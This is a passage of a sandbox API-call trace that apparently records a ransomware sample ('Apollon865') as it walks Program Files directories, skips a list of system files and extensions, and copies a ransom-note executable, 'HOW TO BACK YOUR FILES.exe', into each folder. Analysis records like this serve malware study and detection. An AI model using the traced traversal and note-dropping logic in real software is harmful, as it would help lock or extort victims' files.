	[0060.616] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.TUR" | out: lpString1="nppdf32.TUR") returned="nppdf32.TUR"
	[0060.616] lstrlenW (lpString="nppdf32.TUR") returned 11
	[0060.616] lstrlenW (lpString="Apollon865") returned 10
	[0060.616] lstrcmpiW (lpString1="ppdf32.TUR", lpString2="Apollon865") returned 1
	[0060.616] lstrlenW (lpString=".dll") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".dll") returned 1
	[0060.616] lstrlenW (lpString=".lnk") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".lnk") returned 1
	[0060.616] lstrlenW (lpString=".ini") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".ini") returned 1
	[0060.616] lstrlenW (lpString=".sys") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".sys") returned 1
	[0060.616] lstrlenW (lpString="nppdf32.TUR") returned 11
	[0060.616] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.UKR" | out: lpString1="nppdf32.UKR") returned="nppdf32.UKR"
	[0060.616] lstrlenW (lpString="nppdf32.UKR") returned 11
	[0060.616] lstrlenW (lpString="Apollon865") returned 10
	[0060.616] lstrcmpiW (lpString1="ppdf32.UKR", lpString2="Apollon865") returned 1
	[0060.616] lstrlenW (lpString=".dll") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".dll") returned 1
	[0060.616] lstrlenW (lpString=".lnk") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".lnk") returned 1
	[0060.616] lstrlenW (lpString=".ini") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".ini") returned 1
	[0060.616] lstrlenW (lpString=".sys") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.UKR", lpString2=".sys") returned 1
	[0060.616] lstrlenW (lpString="nppdf32.UKR") returned 11
	[0060.617] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl"
	[0060.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c55f8 | out: hHeap=0x580000) returned 1
	[0060.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0060.617] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned 44
	[0060.617] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl"
	[0060.617] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.621] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.621] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c33b1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c33b1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.621] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.621] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.621] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.621] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c33b1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c33b1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.622] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.622] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.622] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.622] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.622] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="Apollon865.txt.exe") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2=".") returned 1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="..") returned 1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="windows") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="bootmgr") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="temp") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="pagefile.sys") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="boot") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="ids.txt") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="ntuser.dat") returned -1
	[0060.622] lstrcmpiW (lpString1="AiodLite.dll", lpString2="perflogs") returned -1
	[0060.624] lstrcmpiW (lpString1="AiodLite.dll", lpString2="MSBuild") returned -1
	[0060.625] lstrlenW (lpString="AiodLite.dll") returned 12
	[0060.625] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*") returned 46
	[0060.625] lstrcpyW (in: lpString1=0x2d3e5aa, lpString2="AiodLite.dll" | out: lpString1="AiodLite.dll") returned="AiodLite.dll"
	[0060.625] lstrlenW (lpString="AiodLite.dll") returned 12
	[0060.625] lstrlenW (lpString="Apollon865") returned 10
	[0060.625] lstrcmpiW (lpString1="odLite.dll", lpString2="Apollon865") returned 1
	[0060.625] lstrlenW (lpString=".dll") returned 4
	[0060.625] lstrcmpiW (lpString1="AiodLite.dll", lpString2=".dll") returned 1
	[0060.625] lstrlenW (lpString=".lnk") returned 4
	[0060.625] lstrcmpiW (lpString1="AiodLite.dll", lpString2=".lnk") returned 1
	[0060.625] lstrlenW (lpString=".ini") returned 4
	[0060.625] lstrcmpiW (lpString1="AiodLite.dll", lpString2=".ini") returned 1
	[0060.625] lstrlenW (lpString=".sys") returned 4
	[0060.625] lstrcmpiW (lpString1="AiodLite.dll", lpString2=".sys") returned 1
	[0060.625] lstrlenW (lpString="AiodLite.dll") returned 12
	[0060.625] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files", iMaxLength=260 | out: lpString1="C:\\Program Files") returned="C:\\Program Files"
	[0060.625] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bed48 | out: hHeap=0x580000) returned 1
	[0060.625] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78c8 | out: hHeap=0x580000) returned 1
	[0060.625] lstrlenW (lpString="C:\\Program Files") returned 16
	[0060.625] lstrcatW (in: lpString1="", lpString2="C:\\Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files"
	[0060.625] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.626] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.638] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c361330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c361330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.638] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.638] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.638] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0060.638] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3c361330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c361330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.638] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.638] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0060.639] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0060.639] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0060.639] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1dfc6f40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dfc6f40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="Apollon865.txt.exe") returned 1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2=".") returned 1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="..") returned 1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="windows") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="bootmgr") returned 1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="temp") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="pagefile.sys") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="boot") returned 1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="ids.txt") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="ntuser.dat") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="perflogs") returned -1
	[0060.639] lstrcmpiW (lpString1="Common Files", lpString2="MSBuild") returned -1
	[0060.639] lstrlenW (lpString="Common Files") returned 12
	[0060.639] lstrlenW (lpString="C:\\Program Files\\*") returned 18
	[0060.639] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Common Files" | out: lpString1="Common Files") returned="Common Files"
	[0060.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78c8
	[0060.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b5ed8
	[0060.639] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78d0 | out: ListHead=0x5b76b0, ListEntry=0x5b78d0) returned 0x5b7890
	[0060.639] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0060.639] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0060.640] lstrlenW (lpString="desktop.ini") returned 11
	[0060.640] lstrlenW (lpString="C:\\Program Files\\Common Files") returned 29
	[0060.640] lstrcpyW (in: lpString1=0x2d3e572, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0060.640] lstrlenW (lpString="desktop.ini") returned 11
	[0060.640] lstrlenW (lpString="Apollon865") returned 10
	[0060.640] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0060.640] lstrlenW (lpString=".dll") returned 4
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0060.640] lstrlenW (lpString=".lnk") returned 4
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0060.640] lstrlenW (lpString=".ini") returned 4
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0060.640] lstrlenW (lpString=".sys") returned 4
	[0060.640] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0060.640] lstrlenW (lpString="desktop.ini") returned 11
	[0060.640] lstrcpyW (in: lpString1=0x2d3e572, lpString2="DVD Maker" | out: lpString1="DVD Maker") returned="DVD Maker"
	[0060.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0060.640] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x36) returned 0x5ca390
	[0060.640] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78f0 | out: ListHead=0x5b76b0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0060.640] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c361330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3c361330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0060.640] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0060.640] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ead9a68, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0060.640] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.640] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0060.640] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0060.640] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0060.641] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0060.641] lstrlenW (lpString="Internet Explorer") returned 17
	[0060.641] lstrlenW (lpString="C:\\Program Files\\DVD Maker") returned 26
	[0060.641] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0060.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0060.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5bde88
	[0060.641] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0060.641] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Apollon865.txt.exe") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="windows") returned -1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="bootmgr") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="temp") returned -1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="pagefile.sys") returned -1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="boot") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ids.txt") returned 1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ntuser.dat") returned -1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="perflogs") returned -1
	[0060.641] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="MSBuild") returned -1
	[0060.641] lstrlenW (lpString="Microsoft Analysis Services") returned 27
	[0060.641] lstrlenW (lpString="C:\\Program Files\\Internet Explorer") returned 34
	[0060.641] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Microsoft Analysis Services" | out: lpString1="Microsoft Analysis Services") returned="Microsoft Analysis Services"
	[0060.641] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0060.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5a) returned 0x5c55f8
	[0060.642] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0060.642] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1dfc6f40, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dfc6f40, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="Apollon865.txt.exe") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="windows") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="bootmgr") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="temp") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="pagefile.sys") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="ids.txt") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntuser.dat") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="perflogs") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft Office", lpString2="MSBuild") returned -1
	[0060.642] lstrlenW (lpString="Microsoft Office") returned 16
	[0060.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services") returned 44
	[0060.642] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office"
	[0060.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0060.642] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x44) returned 0x5bdca8
	[0060.642] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0060.642] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e54b70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e54b70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft SQL Server Compact Edition", cAlternateFileName="MICROS~3")) returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="Apollon865.txt.exe") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2=".") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="..") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="windows") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="bootmgr") returned 1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="temp") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="pagefile.sys") returned -1
	[0060.642] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="boot") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="ids.txt") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="ntuser.dat") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="perflogs") returned -1
	[0060.643] lstrcmpiW (lpString1="Microsoft SQL Server Compact Edition", lpString2="MSBuild") returned -1
	[0060.643] lstrlenW (lpString="Microsoft SQL Server Compact Edition") returned 36
	[0060.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33
	[0060.643] lstrcpyW (in: lpString1=0x2d3e572, lpString2="Microsoft SQL Server Compact Edition" | out: lpString1="Microsoft SQL Server Compact Edition") returned="Microsoft SQL Server Compact Edition"
	[0060.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0060.643] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59aa88
	[0060.643] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0060.643] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Sync Framework", cAlternateFileName="MICROS~4")) returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2="Apollon865.txt.exe") returned 1
	[0060.643] lstrcmpiW (lpString1="Microsoft Sync Framework", lpString2=".") returned 1
